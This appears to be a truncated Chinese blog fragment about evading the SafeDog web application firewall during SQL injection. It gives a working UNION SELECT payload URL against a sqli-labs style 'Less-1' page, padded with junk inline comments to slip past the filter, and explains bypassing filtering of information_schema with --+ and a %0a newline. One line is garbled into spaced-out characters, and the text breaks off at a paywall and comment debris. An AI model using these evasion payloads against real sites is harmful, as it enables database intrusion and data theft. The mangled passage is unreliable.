内联注释过安全狗
http://www.sqli.com/Less-1/?id=-1%27union/*/$-----*/select%201,user/*/$-----*/(),3%20--%201
核心就是绕过information_schema.schemata，这里采用的方式是–+/*0ainformation_schema.tables，–代表将本行的sql语句注释掉了，+号充当空格，%0a表示闭合换行
/ − − − − − ∗ / 填 充 垃 圾 字 符 设 置 f u z z 参 数 点 / − @ -----*/ 填充垃圾字符 设置fuzz参数点 /-@ −−−
最低0.47元/天 解锁文章
557
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
